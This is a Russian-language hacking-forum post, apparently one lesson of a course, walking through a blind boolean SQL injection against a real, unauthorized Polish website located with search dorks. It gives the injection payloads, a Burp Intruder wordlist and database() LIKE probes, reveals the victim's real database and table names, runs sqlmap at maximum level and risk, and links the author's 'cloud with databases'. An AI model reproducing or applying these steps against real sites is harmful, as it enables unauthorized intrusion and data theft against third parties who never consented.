Загрузка...

SQL INJECTION от новичка до профессионала (Урок шестой) ломаем реальный ресурс на практике

Тема в разделе Веб уязвимости создана пользователем pentest 14 мар 2023. (поднята 24 авг 2023) 1290 просмотров

Загрузка...
  1. pentest
    pentest Автор темы 14 мар 2023 Заблокирован(а)
    Приветствую на моем шестом уроке по SQL INJECTION:lefthand::righthand:
    Это один из самых интересных и важных уроков , т.к тут мы будем уже проверять все полученные знания на практике.В предыдущем уроке я рассказывал , как делать актуальные дорки , чтобы получить список линков , так вот , благодаря этому я и нашел уязвимый польский сайт.К слову с польскими сайтами я работаю в первый раз , никогда они меня не интересовали:)
    мой курс по sql inj - https://zelenka.guru/threads/5012873/
    мое облако с базами - https://zelenka.guru/threads/5029036/


    Я не один раз говорил , что самая актуальная техника - это BLIND и TIME BASED.Поэтому мы и будем с ней работать на данном ресурсе (я не выбирал , просто такая уязвимость встретилась на 3-х сайтах подряд)
    Для тех , кто не знает , что такое BLIND SQL INJECTION - это когда сайт реагирует по-разному на TRY условие и на FALSE.Соответственно мы будем спрашивать у СУБД , есть ли в названии базы первая буква a,b,c и т.д , потом для таблиц , колонок и содержимого.Это очень долго , поэтому нужно использовать SQLMAP , но он не всегда поможет:dogfacepalm:
    Первое , что нужно сделать - это подобрать обрамление , как это делать я уже рассказывал.У меня в данном случае "
    Поэтому делаем два запроса один TRUE , а другой FALSE

    SQL
    "AND 1=1 AND "ABC"="ABC" -- -  (TRUE)

    "AND 1=2 AND "ABC"="ABC" -- - (FALSE)
    Теперь вводим первый , а затем второй и смотрим разницу.
    True выводит вот такое содержимое:
    [IMG]
    False
    [IMG]
    Просто белая страничка , отлично:roflanebalo:
    Теперь знаем тоже самое , но с помощью burp suite , Т.К нам придется работать именно с ним и нужно видеть разницы по длине.
    Включаем перехватчик:
    [IMG]
    Отправляем в Repeater
    [IMG]

    если вы просто перехватите страничку и введете "AND 1=1 AND "ABC"="ABC" -- - , то будет вот такая фиговина:
    [IMG]
    Вы спросите почему?Мы же сделали все правильно...Да , запрос корректный , но вы не закодировали полезную нагрузку в URL.
    [IMG]
    выделяем полезную нагрузку и Жмем CTRL + U.И отправляем запрос
    [IMG]
    Прекрасно , True ОПРЕДЕЛИЛО.Теперь тоже самое , но с FALSE
    [IMG]
    Ладно с самым простым разобрались , теперь отправляем запрос в intruder
    [IMG]
    Выделяем место куда мы будем подставлять полезную нагрузку и жмем ADD $
    [IMG]
    Кодировать самостоятельно ничего не нужно
    [IMG]
    просто вот тут галочку поставьте и всё.Жмем start
    [IMG]
    Пустота имеет длину 1115.Фиксируем это:interesting:
    Теперь погнали составлять словарик для проверки символов:finger_up:
    SQL
    0
    1
    2
    3
    4
    5
    6
    7
    8
    9
    q
    w
    e
    r
    t
    y
    u
    i
    o
    p
    a
    s
    d
    f
    g
    h
    j
    k
    l
    z
    x
    c
    v
    b
    n
    m
    _
    "and (select 1 from dual where database() like 'a%') -- -
    "and (select 1 from dual where database() like 'b%') -- -
    Слишком долго руками генерировать 37 вариантов для каждой буквы , поэтому давайте для начала определим кол-во символов в названии базы данных.
    _ подчеркивание означает любой символ.
    [IMG]
    У меня получилось , что название бд 18 символов:fallout_cool:
    Пздц)Устанем подбирать...Ладно погнали.Запускаем наш словарик
    [IMG]
    Первый символ d
    чутка меняем наш пэйлоад перед буквой , которую мы выделяем добавляем _ (любой символ) то есть любой символ и перебор буквы - это мы перебираем второй символ.И так далее
    Второй символ b
    [IMG]
    Третий символ 3
    [IMG]
    Четвертый символ _
    [IMG]
    Пятый символ d
    [IMG]
    Шестой o
    [IMG]
    Седьмой l
    [IMG]
    Я не буду захламлять статью и поэтому после подбора символов полное название бд:db3_doladowania_pl

    Теперь модифицируем запрос и получаем название таблиц:
    awaria
    увеличиваем limit и получаем вторую таблицу
    carts_data

    Всё в пи***у , я устал.Попробуем передать работу sqlmapy:thinking:

    После долгих манипуляций получилось sqlmapy найти скулю.Пришлось запускать через -u и с --level=5 --risk=3.Думаете все хорошо , но нет!
    [IMG]
    Он сбрутил неправильное название базы данных и из-за этого оказалось 0 таблиц.Я подставил свое название и того 73 таблицы
    [IMG]


    Если вам понравились статья , то отписывайте в комментариях.Делать ли продолжение?:ok_love:
    [IMG]
     
Top